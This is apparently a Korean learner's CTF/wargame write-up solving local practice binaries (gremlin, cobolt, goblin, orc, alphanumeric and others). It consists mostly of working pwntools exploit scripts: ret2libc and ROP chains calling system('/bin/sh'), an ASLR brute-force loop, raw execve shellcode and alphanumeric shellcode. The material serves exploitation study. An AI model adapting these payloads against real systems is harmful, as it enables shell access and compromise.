gremlin, cobolt, goblin은 모두 예제에 포함된 문제였다.
orc는 해결하였지만, wolfman은 어떻게 해야 할지 감이 잡히지 않았다.
exploit.py
from pwn import *
p = process("./gremlin")
system_plt = 0x80490f0
binsh = 0x804c034
p.recvuntil(b"You can use write, read, system and /bin/sh\n")
payload = b'A'*0x44
payload += b'B'*0x4
payload += p32(system_plt)
payload += b'C'*0x4
payload += p32(binsh)
p.send(payload)
p.interactive()
system_plt의 역할을 잘 알 수 있는 문제였다.
ebp-0x44에 buf가 있어 0x44만큼을 채우고, sfp에 0x4, 그 위에 system_plt를 통해 system을 실행시킨다.
여기서 매개변수가 들어가야 하는 위치를 깨달을 수 있다.
exploit.py
from pwn import *
p = process("./cobolt")
pop_rdi = 0x401353
binsh = 0x404060
system_plt = 0x4010b0
p.recvuntil(b"You can use write, read, system and /bin/sh\n")
payload = b'A'*0x40
payload += b'B'*0x8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(pop_rdi+1)
payload += p64(system_plt)
p.send(payload)
p.interactive()
pop_rdi+1을 이해하는 것은 굉장히 난이도가 높은 문제였다.
기본적으로 pop_rdi가 pop rdi ; ret인데, pop_rdi+1은 자동적으로 ret이 된다.
이를 추가하는 이유는 16바이트 align이라는 문제 때문이라고 한다.
## goblin
exploit.py
from pwn import *
p = process("./goblin")
pop_ret = 0x08049022
pop3_ret = 0x08049391
read_plt = 0x80490b0
system_plt = 0x80490e0
bss = 0x804c030 + 0x300
main = 0x80492f3
payload = b'A'*0x44
payload += b'B'*0x4
payload += p32(read_plt)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(system_plt)
payload += b'C'*0x4
payload += p32(bss)
p.send(payload)
# sleep(0.1)
p.send(b"/bin/sh\x00")
p.interactive()
bss의 개념을 이해하는데 조금 시간이 걸렸다.
bss는 기본적으로 미할당 지역이라고 하고, 그래서 비교적 자유롭게 스트링 등을 저장할 수 있는 것이다.
그런데 bss초반에는 stdin등의 중요한 변수가 위치하고 있다. 그렇기 때문에 0x300과 같이 조금 간격을 띄우고 값을 저장한다.
그 밖에도 이 문제는 함수를 두 개 실행하는 rtl_chaining기법을 사용한다. 함수를 두개 뿐만 아니라 훨씬 많이 사용할 수 있다는 것이 놀라웠다.
가끔씩 예상치 못한 오류 때문에 sleep(0.1)과 같은 방법으로 우회해야 하는 것이 귀찮았다.
exploit.py
from pwn import *
pop_ret = 0x08049022
pop3_ret = 0x08049351
bss = 0x804c02c + 0x300
main = 0x80492aa
system = 0xf7e1b790
read_plt = 0x80490a0
while True:
p = process("./orc")
payload = b'A'*0x44
payload += b'B'*0x4
# bss영역에 /bin/sh 저장
payload += p32(read_plt)
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
# system 실행
payload += p32(system)
payload += b'C'*0x4
payload += p32(bss)
p.send(payload)
sleep(0.1)
p.send(b"/bin/sh\x00")
try:
p.sendline(b"id")
if b"uid" in p.recvline():
p.interactive()
else:
p.close()
except:
p.close()
이 문제는 예제의 Got Overwrite의 brute force 기법과 goblin에서 사용된 방법을 같이 이용하는 문제였다.
기본적으로는 goblin과 동일한 구조이지만, 32비트 이기 때문에 brute force를 통해 system plt가 아닌 그냥 system의 주소를 무작위로 맞출 수 있다.
gadget과 같은 경우는
gdb에서 elfheader을 통해 bss의 주소를 구하고, read_plt의 주소를 구할 수 있다. system의 주소는 b*main과 run 또는 start를 이용해 실행시킨 후 주소를 구할 수 있다.
wolfman의 정풀의 경우는 brute force를 사용하지 않는다고 들었다.
exploit.py
from pwn import *
p = process("./basic_rtl_1")
system_plt = 0x8049130
name = 0x804c080
p.sendline(b"/bin/sh")
#command address is ebp-0x14
payload = b"A"*0x14+b"B"*4
payload += p32(system_plt)
payload += b"asdf"
payload += p32(name)
p.sendline(payload)
p.interactive()
이 문제는 name에 /bin/sh\x00이라는 string을 넣고 ret에 system을 넣어서 해결할 수 있는 문제이다.
간단히 해결할 수 있었고, 전역변수의 경우 gdb에서 info variables을 통해 모든 전역변수의 주소를 확인할 수 있다는 것을 처음 알았다.
exploit.py
from pwn import *
p = process("./shellcode_x64")
p.sendline(b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05")
p.interactive()
"/bin/sh"를 실행하는 shellcode를 짜서 해결할 수 있는 문제이다.
이 문제의 훨씬 어려운 버전이 alphanumeric이었다.
이 alphanumeric 문제는 shellcode를 짜되, shellcode를 구성하는 모든 문자들이 26+26+10개 중 하나여야 하는 문제였다.
0: 6a 30 push 0x30
2: 31 34 64 xor DWORD PTR [esp+eiz*2],esi
5: 33 34 64 xor esi,DWORD PTR [esp+eiz*2]
8: 31 70 32 xor DWORD PTR [eax+0x32],esi
b: 31 70 42 xor DWORD PTR [eax+0x42],esi
e: 5a pop edx
f: 56 push esi
10: 33 34 64 xor esi,DWORD PTR [esp+eiz*2]
13: 4e dec esi
14: 31 70 41 xor DWORD PTR [eax+0x41],esi
17: 58 pop eax
18: 34 30 xor al,0x30
1a: 50 push eax
1b: 5a pop edx
1c: 52 push edx
1d: 68 55 55 73 68 push 0x68735555
22: 58 pop eax
23: 66 35 7a 7a xor ax,0x7a7a
27: 50 push eax
28: 68 55 62 69 6e push 0x6e696255
2d: 58 pop eax
2e: 34 7a xor al,0x7a
30: 50 push eax
31: 54 push esp
32: 6b 6a 30 58 imul ebp,DWORD PTR [edx+0x30],0x58
36: 34 30 xor al,0x30
38: 50 push eax
39: 53 push ebx
3a: 54 push esp
3b: 59 pop ecx
3c: 6a 4f push 0x4f
3e: 58 pop eax
3f: 34 44 xor al,0x44
41: 32 .byte 0x32
42: 4f dec edi
이것이 alphanumeric의 binsh shellcode였고, 이를 변환하면 다음과 같았다.
exploit.py
from pwn import *
p = process("./alphanumeric")
shellcode = "j014d34d1p21pBZV34dN1pAX40PZRhUUshXf5zzPhUbinX4zPTkj0X40PSTYjOX4D2O"
p.send(shellcode)
p.interactive()
이 문제는 푸는 것이 아니라 코드 해석하는 것 조차 하나의 목표였다ㅋㅋㅋ
결과적으로 하나의 셸코드를 작성하되 그 방식은 0은 push, 1은 add, 이러한 방식으로 11종류의 명령어가 존재한다.
처음에는 이렇게 shellcode를 만들어 stack에 넣어서 실행하는 방법이 있지 않을까 하는 생각을 했지만, NX가 켜져있는 것을 보고 좌절하였다.
그래도 개인적으로는 어셈블리 구조, 특히 rip의 역할을 더 잘 알게 되어 기분 좋았다.